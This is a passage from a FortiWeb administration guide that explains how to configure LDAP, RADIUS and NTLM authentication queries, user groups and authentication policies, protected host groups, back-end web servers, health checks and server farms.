Group Type	Indicate the schema of your LDAP directory, either: • OpenLDAP — The directory uses a schema where each user object's group membership is recorded in an attribute named <i>gidNumber</i>. This is usually an OpenLDAP directory, or another directory where the object class <i>inetOrgPerson</i> or <i>posixAccount</i>. • Windows-AD — The directory uses a schema where each user object's group membership is recorded in an attribute named <i>memberOf</i>. This is usually a Microsoft Active Directory server. • eDirectory — The directory uses a schema where each user object's group membership is recorded in an attribute named <i>groupMembership</i>. This is usually a Novell eDirectory server. Group membership attributes may have different names depending on an LDAP directory schemas. The FortiWeb appliance will use the group membership attribute that matches your directory's schema when querying the group DN. This option appears only when <i>Bind Type</i> is <i>Regular</i> and <i>Group Authentication</i> is enabled.
Group DN	Type the value of the group membership attribute that query results must have in order to be able to authenticate. The value may vary by your directory's schema, but may be the distinguished name such as <i>ou=Groups, dc=example, dc=com</i> or a group ID (GID) such as <i>100</i>. This option appears only when <i>Bind Type</i> is <i>Regular</i> and <i>Group Authentication</i> is enabled. The maximum length is 255 characters.
Secure Connection	Enable to connect to the LDAP servers using an encrypted connection, then select the style of the encryption in <i>Protocol</i>.
Protocol	Select which secure LDAP protocol to use, either • LDAPS • STARTTLS The option appears only when <i>Secure Connection</i> is enabled.

5. Click **OK**.

6. If you enabled [Secure Connection](#), upload the certificate of the CA that signed the directory server's certificate (see ["Uploading trusted CAs' certificates" on page 270](#)).
7. Return to *User > Remote Server > LDAP User*, double-click the row of the query, then click the *Test LDAP* button to verify that FortiWeb can connect to the server, that the query is correctly configured, and that (if binding is enabled) the query bind is successful.
In *username*, type only the value of the CNID attribute, such as `hlee`, **not** the entire DN of the administrator's account. In *password*, type the password for the account.
8. If the query is for administrator accounts that you want to allow to access the FortiWeb web UI, select the query in a remote authentication query group (see ["Grouping remote authentication queries for administrators" on page 214](#)).
If the query is for user accounts that you want to allow to authenticate with web servers, to activate the user account, you must indirectly include it in a server policy. Continue with ["Grouping users"](#). (For an overview, see ["To configure and activate end-user accounts" on page 221](#).)

See also

- [Configuring RADIUS queries](#)
- [Configuring NTLM queries](#)

Configuring RADIUS queries

FortiWeb can use RADIUS queries to authenticate and authorize end-users' HTTP requests (see ["Offloading HTTP authentication & authorization" on page 221](#)). FortiWeb can also use RADIUS queries to authenticate administrators' access to the web UI or CLI (see ["Grouping remote authentication queries for administrators" on page 214](#)).



If you use a RADIUS query for administrators, separate it from the queries for regular users. **Do not combine administrator and user queries into a single entry.** Failure to separate queries will allow end-users to have administrative access the FortiWeb web UI and CLI.

Remote Authentication and Dial-in User Service (RADIUS) servers provide authentication, authorization, and accounting functions. The FortiWeb authentication feature uses RADIUS user queries to authenticate and authorize HTTP requests. (The HTTP protocol does not support active logouts, and can only passively log out users when their connection times out. Therefore FortiWeb does **not** fully support RADIUS accounting.) RADIUS authentication with realms (i.e. the person logs in with an account such as `admin@example.com`) are supported.

To authenticate a user or administrator, the FortiWeb appliance sends the user's credentials to RADIUS for authentication. If the RADIUS server replies to the query with a signal of successful authentication, the client is successfully authenticated with the FortiWeb appliance. If RADIUS authentication fails or the query returns a negative result, the appliance refuses the connection.

If this query will be used to authenticate administrators, and your RADIUS server is slow to answer, you may need to adjust the authentication timeout setting to prevent the query from failing. See the [FortiWeb CLI Reference](#). (For end-user queries, configure [Connection Timeout](#) instead.)

To configure a RADIUS query

1. Before configuring the query, if you will configure a secure connection, you must upload the certificate of the CA that signed the RADIUS server's certificate. For details, see ["Uploading trusted CAs' certificates" on page 270](#).

2. Go to *User > Remote Server > RADIUS Server*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Auth Users* category. For details, see [“Permissions” on page 46](#).

3. Click *Create New*.

A dialog appears.

4. Configure these settings:

Setting name	Description
Name	Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters. Note: This is the name of the query only, not the administrator or end-user's account name/login. Administrator account names are defined in Administrator. End-user names are not defined in the configuration; credentials provided by the person during login will be used for the query.
Server IP	Type the IP address of the primary RADIUS server.
Server Port	Type the port number where the RADIUS server listens. The default port number is 1812.
Server Secret	Type the RADIUS server secret key for the primary RADIUS server. The primary server secret key should be a maximum of 16 characters in length.
Secondary Server IP	Type the IP address of the secondary RADIUS server, if applicable.
Secondary Server Port	Type the port number where the RADIUS server listens. The default port number is 1812.
Secondary Server Secret	Type the RADIUS server secret key for the secondary RADIUS server. The secondary server secret key should be a maximum of 16 characters in length.

Setting name	Description
Authentication Scheme	Select <i>Default</i> to authenticate with the default method. The default authentication scheme uses PAP, MS-CHAP-V2, and CHAP, in that order. Select <i>Specify Authentication Protocol</i> to override the default authentication method, and choose the protocol from the list: MS-CHAP-V2, CHAP, MS-CHAP, or PAP, depending on what your RADIUS server needs.
NAS IP	Type the NAS IP address and Called Station ID (for more information about RADIUS Attribute 31, see RFC 2548 Microsoft Vendor-specific RADIUS Attributes). If you do not enter an IP address, the IP address that the FortiWeb appliance uses to communicate with the RADIUS server will be applied.

- Click **OK**.
- Return to *User > Remote Server > LDAP User*, double-click the row of the query, then click the **Test RADIUS** button to verify that FortiWeb can connect to the server, and that the query is correctly configured.
- If the query is for administrator accounts that you want to allow to access the FortiWeb web UI, select the query in a remote authentication query group (see [“Grouping remote authentication queries for administrators” on page 214](#)).
If the query is for user accounts that you want to allow to authenticate with web servers, to activate the user account, you must indirectly include it in a server policy. Continue with [“Grouping users”](#). (For an overview, see [“To configure and activate end-user accounts” on page 221](#).)

See also

- [Grouping remote authentication queries for administrators](#)
- [Configuring LDAP queries](#)
- [Configuring NTLM queries](#)

Configuring NTLM queries

NT LAN Manager (NTLM) queries can be made to a Microsoft Windows or Active Directory server that is configured for NTLM authentication. FortiWeb supports both NTLM v1 and NTLM v2.


FortiWeb can use NTLM queries to authenticate and authorize HTTP requests. For more information, see [“Applying user groups to an authorization realm” on page 233](#).

To configure an NTLM query

- Go to *User > Remote Server > NTLM Server*.
To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Auth Users* category. For details, see [“Permissions” on page 46](#).

2. Click *Create New*.

A dialog appears.

A screenshot of a 'Create New NTLM User' dialog box. It has a title bar with the text 'Create New NTLM User'. Inside, there are three input fields: 'Name' (empty), 'Server IP' (empty), and 'Server Port' (containing the number '1'). At the bottom, there are two buttons: 'OK' and 'Cancel'.

3. In *Name*, type a unique name that can be referenced by other parts of the configuration. This is the name of the query only, not the end-user's account name/login. Do not use spaces or special characters. The maximum length is 35 characters.
4. For *Server IP*, type the IP address of the NTLM server that will be queried.
5. For *Port*, type the TCP port number where the NTLM server listens for queries.
6. Click *OK*.
7. To activate the user account, you must indirectly include it in a server policy that governs connections to your web servers. Continue with [“Grouping users”](#). (For an overview, see [“To configure and activate end-user accounts” on page 221.](#))

Grouping users

To denote which set of people is authorized to request specific URLs when configuring HTTP authentication offloading, you must create user groups.

A user group can include a mixture of local end-user accounts, LDAP queries, RADIUS queries, and NTLM queries. Therefore, on FortiWeb, a user group could be set of accounts, or it could be a set of queries instead.

To configure a user group


1. Before you can configure a user group, you must first configure one or more local end-user accounts or queries to remote authentication servers. See:
 - [“Configuring local end-user accounts” on page 223](#)
 - [“Configuring LDAP queries” on page 224](#)
 - [“Configuring RADIUS queries” on page 228](#)
 - [“Configuring NTLM queries” on page 230](#)

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Auth Users* category. For details, see [“Permissions” on page 46.](#)

2. Go to *User > User Group > User Group*.

3. Click *Create New*.

A dialog appears.




The 'New User Group' dialog box has a title bar with the text 'New User Group'. It contains a 'Name' field with the text 'webmail-users'. Below it is the 'Auth Type' section with three radio buttons: 'Basic', 'Digest', and 'NTLM', where 'NTLM' is selected. At the bottom are 'OK' and 'Cancel' buttons. Below the dialog box is a toolbar with icons and labels for 'Create New', 'Edit', 'Delete', 'Insert', and 'Move'. Below the toolbar is a table with four columns: an empty column, 'ID', 'User Type', and 'Name'.

4. In *Name*, type a name that can be referenced by other parts of the configuration. Do not use special characters. The maximum length is 35 characters.
5. In *Auth Type*, select one of the authentication types:
 - *Basic* — Clear text. This is the original and most compatible authentication scheme for HTTP. However, it is also the least secure as it sends the user name and password unencrypted to the server.
 - *Digest* — Encrypts the password and thus is more secure than the basic authentication.
 - *NTLM* — Uses a proprietary protocol of Microsoft and is considered to be more secure than basic authentication.
6. Click *OK*.

The *Create New* button for this item, below its name, will no longer be greyed out, indicating that it has become available.

7. Click *Create New*.

A dialog appears that enables you to add members to the group.



The 'Edit User Group Member' dialog box has a title bar with the text 'Edit User Group Member'. It contains an 'ID' field with the text 'auto'. Below it is the 'User Type' section with three radio buttons: 'Local User', 'LDAP User', and 'RADIUS User', where 'LDAP User' is selected. Below that is a 'Name' field with a dropdown menu showing 'LDAP query 1'. At the bottom are 'OK' and 'Cancel' buttons.

8. In *User Type*, select the type of user or user query you want to add to the group. Available options vary with the setting for the group's *Auth Type* option.

You can mix user types in the group. However, if the authentication rule's *Auth Type* does not support a given user type, all user accounts of that type will be ignored, effectively disabling them.
9. From *User Name*, select the name of an existing user account, LDAP query, or RADIUS query. Available options vary by your selection in *User Type*.
10. Click *OK*.
11. Repeat the previous steps for each user or query that you want to add to the group.
12. Select the user group in an authorization rule (see [“Applying user groups to an authorization realm” on page 233](#)).

See also

- [Configuring local end-user accounts](#)
- [Configuring LDAP queries](#)
- [Configuring RADIUS queries](#)
- [Configuring NTLM queries](#)
- [Offloading HTTP authentication & authorization](#)

Applying user groups to an authorization realm

Authentication rules are used by the HTTP authentication policy to define sets of request URLs that will be authorized for each end-user group.

To configure an authentication rule

1. Before you can configure an authentication rule set, you must first configure any user groups that you want to include. For details, see [“Grouping users” on page 231](#).

If you want to apply rules only to HTTP requests for a specific real or virtual host, you must first define the web host in a protected servers group. For details, see [“Defining your protected or allowed HTTP “Host:” header names” on page 239](#).

2. Go to *Application Delivery > Authentication Policy > Authentication Rule*.

To access this part of the web UI, your administrator’s account access profile must have *Read* and *Write* permission to items in the *Web Protection Configuration* category. For details, see [“Permissions” on page 46](#).

3. Click *Create New*.

A dialog appears.


ID	Auth Type	Realm	User Group	Auth Path	
1	Digest		Digest Group	/users	
2	NTLM		NTLM Group	/login.asp	

4. In *Name*, type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
5. If you want to require that the *Host :* field of the HTTP request matches a protected host entry in order to match the HTTP authentication rule, do the following:

- Enable *Host Status*.
- From *Host*, select which protected host entry (either a web host name or IP address) the *Host :* field of the HTTP request must be. The list contains hosts configured in a protected servers group. For details, see [“Defining your protected or allowed HTTP “Host:” header names” on page 239](#).

6. Click *OK*.
7. Click *Create New*.
A dialog appears.

8. Configure these settings:



The dialog box titled "New Authentication Rule Member" contains the following fields and controls:

- ID:** A text box containing the value "auto".
- Auth Type:** Three radio buttons labeled "Basic", "Digest", and "NTLM". The "Basic" radio button is selected.
- User Group:** A dropdown menu showing "Please Select..." with a downward arrow.
- User Realm:** An empty text box.
- Auth Path:** An empty text box.
- Buttons:** "OK" and "Cancel" buttons at the bottom.

Setting name	Description
Auth Type	Select which type of HTTP authentication to use: • Basic — Clear text, Base64-encoded user name and password. Supports all user queries except NTLM. NTLM users will be ignored if included in the user group. • Digest — Hashed user name, realm, and password. Only local users are supported. Other types are ignored if included in the user group. • NTLM — Encrypted user name and password. Only NTLM queries are supported. Other types are ignored if included in the user group. For more information on available user types, see “Grouping users” on page 231.
User Group	Select the name of an existing end-user group that is authorized to use the URL in Auth Path.
User Realm	Type the realm, such as <code>Restricted Area</code>, to which the Auth Path belongs. The realm is often used by browsers: • It may appear in the browser’s prompt for the user’s credentials. Especially if a user has multiple logins, and only one login is valid for that specific realm, displaying the realm helps to indicate which user name and password should be supplied. • After authenticating once, the browser may cache the authentication credentials for the duration of the browser session. If the user requests another URL from the same realm, the browser often will automatically re-supply the cached user name and password, rather than asking the user to enter them again for each request. The realm may be the same for multiple authentication rules, if all of those URLs permit the same user group to authenticate. For example, the user group <code>All_Employees</code> could have access to the Auth Path URLs <code>/wiki/Main</code> and <code>/wiki/ToDo</code>. These URLs both belong to the realm named <code>Intranet Wiki</code>. Because they use the same realm name, users authenticating to reach <code>/wiki/Main</code> usually will not have to authenticate again to reach <code>/wiki/ToDo</code>, as long as both requests are within the same browser session. This field does not appear if Auth Type is <i>NTLM</i>, which does not support HTTP-style realms.
Auth Path	Type the literal URL, such as <code>/employees/holidays.html</code>, that a request must match in order to invoke HTTP authentication.

9. Click OK.

10. Repeat the previous steps for each user that you want to add to the authentication rules.
11. Group the authentication rule in an authentication policy. For details, see [“Grouping authorization rules” on page 235](#).

Grouping authorization rules

Often, you may want to specify multiple authorization realms to apply to a single server policy. Before you can use authorization rules in a protection profile, you must group them together. (These sets are called “authentication policies” in the web UI).

Authentication policies also contain settings such as connection and cache timeouts that will be applied to all requests authenticated using this authentication policy.



Alternatively or in addition to HTTP authentication, with SSL connections, you can require that clients present a valid personal certificate. For details, see [“Certificate Verification” on page 480](#).

To configure an authentication policy

1. Before you can configure an authentication policy, you must first configure:
 - end-users (see [“Configuring local end-user accounts” on page 223](#), [“Configuring LDAP queries” on page 224](#), or [“Configuring NTLM queries” on page 230](#))
 - user groups (see [“Grouping users” on page 231](#))
 - one or more authorization rules to select the authorization mechanism, select the user group, and the set of URLs that is the authorization realm (see [“Applying user groups to an authorization realm” on page 233](#))
2. Go to *Application Delivery > Authentication Policy > Authentication Policy*.
To access this part of the web UI, your administrator’s account access profile must have *Read* and *Write* permission to items in the *Web Protection Configuration* category. For details, see [“Permissions” on page 46](#).
3. Click *Create New*.

4. Configure these settings:


Setting name	Description
Name	Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
Connection Timeout	Type the connection timeout for the query to the FortiWeb's query to the remote authentication server in milliseconds. The default is 2,000 (2 seconds). If the authentication server does not answer queries quickly enough, to prevent dropped connections, increase this value.
Cache	Enable if you want to cache authentication query results. Tip: This can improve performance, especially if the connection to the remote authentication server is slow or experiences latency.
Alert Type	Select whether to log authentication failures and/or successes: • None — Do not generate an alert email and/or log message. • Failed Only — Alert email and/or log messages are caused only by HTTP authentication failures. • Successful Only — Alert email and/or log messages are caused only by successful HTTP authentication. • All — Alert email and/or log messages are caused for all HTTP authentication attempts, regardless of success or failure. Event log messages contain the user name, authentication type, success or failure, and source address (for example, User jdoe HTTP BASIC login successful from 172.20.120.46) when an end-user successfully authenticates. A similar message is recorded if the authentication fails (for example, User hackers HTTP BASIC login failed from 172.20.120.227).

5. If you enabled [Cache](#), also configure the following:

Setting name	Description
Cache Timeout	Type the number of seconds that authentication query results will be cached. When a record's timeout is reached, FortiWeb will remove it from the cache. Subsequent requests from the client will cause FortiWeb to query the authentication server again, adding the query results to the cache again. This setting is applicable only if Cache is enabled. The default value is 300.

6. Click *OK*.
7. Click *Create New*.

A dialog appears.

A dialog box titled "New Authentication Policy Member". It contains two input fields: "ID" with the value "auto" and "Auth Rule" with a dropdown menu showing "Auth-Rule1". At the bottom are "OK" and "Cancel" buttons.

8. From the *Auth Rule* drop-down list, select the name of an authentication rule.
9. Click *OK*.
10. Repeat the previous steps for each individual rule that you want to add to the authentication policy.
11. To apply the authentication policy, select it in an inline protection profile that is included in a policy (see [“Configuring a protection profile for inline topologies” on page 456](#)).



If you have enabled logging, you can also make reports such as “Top Failed Authentication Events By Day” and “Top Authentication Events By User” to identify hijacked accounts or slow brute force attacks. See [“Reports” on page 572](#).

See also

- [Applying user groups to an authorization realm](#)

Example: Enforcing complex passwords

Example Co. web hosting needs to enforce reasonably secure passwords on web applications that do not provide this feature themselves. Since end users already authenticate with the web applications, Example Co. does **not** need to configure FortiWeb with user accounts to apply authentication — in other words, authentication offloading is not required. Instead, they simply need to **enforce** the security policy in the authentication transactions that already exist between the clients and web servers.

To do this, Example Co. would configure and apply an input rule (see [“Configuring parameter validation \(input rules\)” on page 411](#)). This rule either could use a predefined data type to require password complexity (*Level 2 Password* — see [“Predefined data types” on page 164](#)), or could use a custom-defined data type to allow or require additional special characters for additional strength (see [“Defining custom data types” on page 417](#)).

Defining your web servers & load balancers

To apply policies correctly and log accurately, it is important that FortiWeb is aware of certain other points on your network.

In order to scan traffic for your web servers, first FortiWeb must know which IP addresses and HTTP `Host`: names to protect. If there are proxies and load balancers in the network stream between your client and your FortiWeb, you will also want to define them. Likewise, if your web servers have features that operate using the source IP address of a client, you may also need to configure FortiWeb to pass that information to your web servers.

Without these definitions, FortiWeb will not know many things, such as requests are for invalid host names, which source IP addresses are external load balancers instead of clients, and which headers it should use to transmit the client's original source IP address to your web servers. This can cause problems with logging, reports, other FortiWeb features, and server-side features that require the client's IP address.

Protected web servers vs. protected host names

If you have virtual hosts on your web server, multiple web sites with different domain names (e.g. example.com, example.co.uk, example.ru, example.edu) may coexist on the same physical computer with a single web server daemon. The computer could have a single IP address, with multiple DNS names resolving to its IP address, or the computer could have multiple IP addresses and multiple NICs, with different sets of domain names resolving to separate NICs.

Just as there could be multiple host names per web server, there could also be the inverse: multiple web servers per host name. (This could be the case for distributed computing clusters and server farms.)

When configuring FortiWeb, a web server is a single IP at the network layer, but a protected host group should contain **all** network IPs, virtual IPs, and domain names that clients use to access the web server at the HTTP layer.

For example, clients often access a web server via a public network such as the Internet. Therefore, the protected host group contains **public** domain names, IP addresses and virtual IPs on a network edge router or firewall, such as:

- www.example.com **and**
- www.example.co.uk **and**
- example.de

But the physical or domain server is only the IP address or domain name that the FortiWeb appliance uses to forward traffic to the server and, therefore, is often a **private** network address (**unless** the FortiWeb appliance is operating in offline protection or either of the transparent modes):

- 192.168.1.10 **or**
- example.local

Defining your protected or allowed HTTP “Host:” header names

A protected host group (also called “allowed hosts” or “protected hosts”) defines one or more IP addresses or fully qualified domain names (FQDNs). Each entry in the group defines a virtual or real web host, according to the `Host:` field in the HTTP header of requests from clients. You can use these entries to determine which host names:

- FortiWeb allows in requests, and/or
- will cause FortiWeb to apply scans or other features

For example, if your FortiWeb receives requests with HTTP headers, such as:

```
GET /index.php HTTP/1.1
Host: www.example.com
```

you might define a protected host group with an entry of `www.example.com` and select it in *Protected Servers* in the policy. **This would block requests that are not for that host.**



A protected hosts group is usually **not** the same as a back-end web server.

Used differently, you might select the `www.example.com` entry in *Host* when defining requests where the parameters should be validated. **This would apply protection only for that host.**

Unlike a web server, which is a single IP at the network layer, a protected host group should contain **all** network IPs, virtual IPs, and domain names that clients use to access the web server at the HTTP layer.

For example, clients often access a web server via a public network such as the Internet. Therefore, the protected host group contains **public** domain names, IP addresses and virtual IPs on a network edge router or firewall, such as:

- `www.example.com` **and**
- `www.example.co.uk` **and**
- `example.de`

But in reverse proxy mode, the physical or domain server is the IP address or domain name that the FortiWeb appliance uses to forward traffic to the back-end web server behind the NAT and, therefore, is often a **private** network address:

- `192.168.1.10` **or**
- `example.local`

As another example, for entry level or virtualized web hosting, many Apache virtual hosts:

- `business.example.cn`
- `university.example.cn`
- `province.example.cn`

may exist on one or more back-end web servers which each have one or more network adapters, each with one or more private network IP addresses that are hidden behind a reverse proxy FortiWeb:

- `172.16.1.5`
- `172.16.1.6`
- `172.16.1.7`

The virtual hosts would be added to the list of FortiWeb's protected hosts, while the network adapters' IP addresses would be added to the list of physical servers.

To configure a protected host group

1. Go to *Server Objects > Protected Servers > Protected Servers*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Server Policy Configuration* category. For details, see ["Permissions" on page 46](#).

2. Click *Create New*.

A dialog appears.

Edit Protected Servers

Name:

Default Action:

OK Cancel

Create New

ID	Host	Action
1	192.168.1.3	Accept

Clear all Edit Delete

3. In *Name*, type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
4. From *Default Action*, select whether to accept or deny HTTP requests that do **not** match any of the host definitions in this protected host group. (In step 8, you can override this default for specific hosts.)

For example, let's say that you have 10 web hosts protected by FortiWeb. You want to allow 8 and block 2. To do this, first set *Default Action* to *Accept*. Then in step 8, you will create 2 entries for the host names that you want to block, and in their *Action*, select *Deny*.

5. Click *OK*.
6. If you want to treat one or more hosts differently than you indicated in *Default Action*, click *Create New*.

A dialog appears.

Edit Host

ID:

Host:

Action:

OK Cancel

7. In *Host*, enter the IP address or FQDN of a real or virtual host, according to the `Host :` field in HTTP requests.

If clients connect to your web servers through the IP address of a virtual server on the FortiWeb appliance, this should be the IP address of that **virtual server** or any domain name to which it resolves, **not** the IP address of the protected web server.

For example, if a virtual server 10.0.0.1/24 forwards traffic to the physical server 192.168.1.1, for protected hosts, you would enter:

- 10.0.0.1, the address of the virtual server
- www.example.com, the domain name that resolves to the virtual server

Your entry does not need to match the whole host name exactly. Wild cards such as *.example.com are supported, similar to domain-wide X.509 v3 certificates.

8. In *Action*, select whether to *Accept* or *Deny* HTTP requests whose `Host :` field matches this *Host* entry.
9. Click *OK*.
10. Repeat the previous steps for each host that you want to add to the protected server group.
11. To apply a protected host group, select it in a server policy (see [“Configuring a server policy” on page 470](#)). Policies use protected host definitions to block connections that are not destined for a protected host. If you do not select a protected server group in a server policy, connections will be accepted or blocked regardless of the `Host :` field.

Defining your web servers

You can specify your back-end web servers by their IP addresses and/or DNS domain names. These web servers will be protected by FortiWeb, and are the recipients of traffic that is forwarded or allowed to pass through by FortiWeb.



You can also define web servers to be FortiWeb’s virtual servers. This chains multiple policies together, which may be useful in more complex traffic routing or rewriting situations.

See also

- [Enabling or disabling traffic forwarding to your servers](#)
- [Predefined services](#)
- [Defining your network services](#)
- [Configuring a server policy](#)

Defining your web server by its IP address

“Domain servers” use DNS `A` record domain names to define a web server, while “physical servers” use IP addresses.

A physical server defines the IP address of an individual web server or a member of a server farm that is the ultimate destination of traffic received by the FortiWeb appliance at a virtual server address, and where the FortiWeb appliance will forward traffic (or let it pass through, depending on the operation mode) after applying the protection profile and other policy

settings. Alternatively, you can use domain names to define the protected web servers. For details, see [“Defining your web server by its DNS domain name” on page 243](#).



A physical server is usually **not** the same as a protected hosts group. See [“Protected web servers vs. protected host names” on page 238](#).

To configure a physical server

1. Go to *Server Objects > Server > Physical Server*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Server Policy Configuration* category. For details, see [“Permissions” on page 46](#).

2. Click *Create New*.

A dialog appears.

New Physical Server	
Name	
IP Address	0.0.0.0
OK Cancel	

3. In *Name*, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
4. In *IP Address*, type the IP address of the physical server.



If a policy has **any** physical servers with IPv6 addresses, it will **not** apply features that do not yet support IPv6, even if they are selected.

5. Click *OK*.
6. To use the physical server, either select it within a server policy, or grouping it into a server farm that is selected in a server policy. For details, see [“Configuring a server policy” on page 470](#) or [“Grouping your web servers into server farms” on page 246](#).



Server health checks cannot be used with an individual web server. If you want to monitor a server for responsiveness, you must group one or more web servers into a server farm.

See also

- [Enabling or disabling traffic forwarding to your servers](#)
- [Grouping your web servers into server farms](#)
- [Configuring a server policy](#)

Defining your web server by its DNS domain name

“Domain servers” use DNS **A** record domain names to define a web server, while “physical servers” use IP addresses.

Domain servers define an individual server or a member of a server farm that is the ultimate destination of traffic received by the FortiWeb appliance at a virtual server address, and where the FortiWeb appliance will forward traffic (or let it pass through, depending on the operation mode) after applying the protection profile and other policy settings. Alternatively, you can use IP addresses to define the protected web servers. For details, see [“Defining your web server by its IP address” on page 241](#).



A domain server is usually **not** the same as a protected hosts group. See [“Protected web servers vs. protected host names” on page 238](#).



Server definitions by domain name cannot be used in most server farm definitions. Support varies by the server farm’s request forwarding setting, *Type*. See [“Grouping your web servers into server farms” on page 246](#).



Unlike with a physical server, for domain servers, FortiWeb must query a DNS server in order to query and resolve each web server’s domain name into an IP address. For improved performance, either:

- use physical servers instead, **or**
- ensure highly reliable, low-latency service to a DNS server on your local network

To configure a domain server

1. Go to *Server Objects > Server > Domain Server*.

To access this part of the web UI, your administrator’s account access profile must have *Read* and *Write* permission to items in the *Server Policy Configuration* category. For details, see [“Permissions” on page 46](#).

2. Click *Create New*.

A dialog appears.

New Domain Server	
Name	
Domain	
OK Cancel	

3. In *Name*, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.

4. In *Domain*, type the domain name of the domain server, such as `example.com`.



If a policy has **any** domain servers whose DNS names resolve to IPv6 addresses, it will **not** apply features that do not yet support IPv6, even if they are selected.

5. Click OK.
6. To use the domain server, either select it within a server policy, or group it into a server farm that is selected in a server policy. For details, see [“Configuring a server policy” on page 470](#) or [“Grouping your web servers into server farms” on page 246](#).



Server health checks cannot be used with an individual web server. If you want to monitor a server for responsiveness, you must group one or more web servers into a server farm.

See also

- [Enabling or disabling traffic forwarding to your servers](#)
- [Grouping your web servers into server farms](#)
- [Configuring a server policy](#)

Configuring server up/down checks

Tests for server availability (called “server health checks” in the web UI) poll web servers that are members of a server farm to determine their responsiveness before forwarding traffic. Server health checks can use TCP, HTTP/HTTPS, or ICMP `ECHO_REQUEST` (ping).

The FortiWeb appliance will poll the server at the frequency set in the *Interval* option. If the appliance does not receive a reply within the timeout period, and you have configured the health check to retry, it attempts a health check again; otherwise, the server is deemed unresponsive. The FortiWeb appliance reacts to unresponsive servers by disabling traffic to that server until it becomes responsive.



If a web server will be unavailable for a long period, such as when a server is undergoing hardware repair, it is experiencing extended down time, or when you have removed a server from the server farm, you may improve the performance of your FortiWeb appliance by disabling connectivity to the web server, rather than allowing the server health check to continue to check for responsiveness. For details, see [“Enabling or disabling traffic forwarding to your servers” on page 265](#).

To view the status currently detected by server health checks, use the *Service Status* widget on the dashboard. For details, see [“Server Status widget” on page 525](#).

To configure a server health check

1. Before configuring a server health check, if it will use a trigger, you must first configure the trigger. For details, see [“Configuring triggers” on page 544](#).

2. Go to *Server Objects > Server Health Check > Server Health Check*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Server Policy Configuration* category. For details, see [“Permissions” on page 46](#).

The *Details* column displays the URL used in the GET request if the server health check *Type* is *HTTP/HTTPS*.

3. Click *Create New*.

A dialog appears.

4. Configure these settings:

Setting name	Description
Name	Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters. Note: The name cannot be changed after this part of the configuration is saved. To rename a part of the configuration, clone it, select it in all parts of the configuration that reference the old name, then delete the item with the old name.
Protocol Type	Select the protocol that the server health check will use to contact the server. • Ping — Send ICMP type 8 (ECHO_REQUEST or “ping”) and listen for either ICMP type 0 (ECHO_RESPONSE or “pong”) indicating responsiveness, or timeout indicating that the host is not responsive. • TCP — Send TCP SYN and listen for either TCP SYN ACK indicating responsiveness, or timeout indicating that the host is not responsive. • HTTP/HTTPS — Send an HTTP/HTTPS request, and listen for an HTTP/HTTPS response code 200 OK and page content matching <i>Matched Content</i> indicating responsiveness, or timeout indicating that the host is not responsive. The protocol used depends on whether you enable SSL for that server in the server farm. Contact occurs on the protocol and port number specified for that web server in the server farm.

Setting name	Description
URL Path	Type the URL, such as <code>/index.html</code>, that will be used in the HTTP/HTTPS <code>GET</code> request to verify the responsiveness of the server. If the web server successfully returns this URL, and its content matches your expression in <i>Matched Content</i>, it is considered to be responsive. This option appears only if <i>Protocol Type</i> is <i>HTTP/HTTPS</i>. The maximum length is 127 characters.
Timeout	Type the maximum number of seconds that can pass after the server health check. If the web server exceeds this limit, it will indicate a failed health check.
Retry Times	Type the number of times, if any, a server health check will be retried after failure. If the web server fails the server health check this number of times consecutively, it is considered to be unresponsive.
Interval	Type the number of seconds between each server health check.
Trigger Action	Select the name of a trigger, if any, that will be used to log or notify an administrator if a server becomes unresponsive.
Matched Content	Type either: - the exact reply content that must be present to indicate that the server is available - a regular expression matching that content This prevents the test from falsely indicating that the server is available when it has actually replied with an error page, such as the one produced by Tomcat when a JSP application is not available. This option appears only if <i>Protocol Type</i> is <i>HTTP/HTTPS</i>. To create and test a regular expression, click the >> (test) icon. This opens a <i>Regular Expression Validator</i> window where you can fine-tune the expression (see “Regular expression syntax” on page 658)

5. Click *OK*.

6. To use the server health check to monitor availability of the members in a server farm, select it as the *Server Health Check* in a policy (see “[Configuring a server policy](#)” on [page 470](#)).

See also

- [Configuring a server policy](#)
- [Grouping your web servers into server farms](#)

Grouping your web servers into server farms

Server farms define a group of physical and domain servers (web servers) among which the FortiWeb appliance will distribute connections, or where the connections will pass through to, depending on the FortiWeb appliance’s operating mode. (Reverse proxy mode actively distributes connections; offline protection and both transparent modes do not.)

- Reverse proxy mode** — When the FortiWeb appliance receives traffic destined for a virtual server, it can forward the traffic to a physical or domain server or a server farm. If you have configured the policy to forward traffic to a server farm, the connection is routed to one of the physical or domain servers in the server farm. Which of the physical or domain servers

receives the connection depends on your configuration of load-balancing algorithm, weight, server health checking, or content routing by either HTTP header-based routing.

To prevent traffic from being forwarded to unavailable web servers, the availability of physical and domain servers in a server farm can be verified using a server health check. Whether the FortiWeb appliance will redistribute or drop the connection when a physical or domain server in a server farm is unavailable varies by the availability of other members and by your configuration of the [Deployment Mode](#) option in the policy.

- **Offline protection, true transparent proxy, and transparent inspection mode** — When the FortiWeb appliance receives traffic destined for a virtual server or passing through a bridge, it allows the traffic to pass through to members of the server farm.

To configure a server farm

1. Before configuring a server farm, you must first define the web servers that will be members of the server farm. For details, see [“Defining your web server by its IP address” on page 241](#) and/or [“Defining your web server by its DNS domain name” on page 243](#). If you will route requests to specific web servers based upon their HTTP headers, also configure expressions to define matching requests. See [“Routing based upon URL or “Host:” name” on page 252](#). Also, if the client will be connecting via HTTPS and FortiWeb is operating in a mode that performs SSL inspection instead of SSL offloading, you must upload the web site’s server certificate. See [“Uploading a server certificate” on page 279](#).
2. Go to *Server Objects > Server > Server Farm*.
